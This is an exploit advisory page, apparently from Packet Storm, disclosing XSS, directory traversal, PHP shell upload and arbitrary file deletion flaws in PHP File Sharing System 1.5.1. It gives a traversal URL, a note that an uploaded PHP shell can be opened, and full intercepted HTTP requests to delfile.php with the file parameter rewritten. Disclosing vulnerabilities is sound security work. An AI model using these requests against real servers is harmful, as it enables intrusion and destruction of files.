ignorance isn't always an option

PHP File Sharing System 1.5.1 Directory Traversal / XSS / Shell Upload

PHP File Sharing System 1.5.1 Directory Traversal / XSS / Shell Upload
Posted Mar 9, 2010
Authored by Blake

PHP File Sharing System version 1.5.1 suffers from cross site scripting, directory traversal and shell upload vulnerabilities.

tags | exploit, shell, php, vulnerability, xss, file inclusion, file upload
MD5 | 78b5ecb1d5f83b46e7dec84be8a5407b

PHP File Sharing System 1.5.1 Directory Traversal / XSS / Shell Upload

Change Mirror Download


Title: PHP File Sharing System 1.5.1 Multiple Vulnerabilities
Date: March 8, 2010
Author: blake
Download: http://sourceforge.net/projects/phpfilesadmin/
Version: 1.5.1
Tested on: Windows XP SP3 with xampplite


1) XSS
http://192.168.1.149/fss/index.php?cam=

2) Directory transversal
http://192.168.1.149/fss/index.php?cam=/../../../../../../../..

3) Shell through file upload
can upload php shell, click on file, and get shell

4) can intercept requests using proxy and delete system files

intercept request in webscarab

GET http://192.168.1.149:80/fss/delfile.php?cam=&dlfile=./uploads/reverse_shell_windows.php HTTP/1.1
Host: 192.168.1.149
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://192.168.1.149/fss/index.php?cam=

and modify

GET http://192.168.1.149:80/fss/delfile.php?cam=&dlfile=log.txt HTTP/1.1
Host: 192.168.1.149
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://192.168.1.149/fss/index.php?cam=



Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    11 Files
  • 27
    May 27th
    8 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close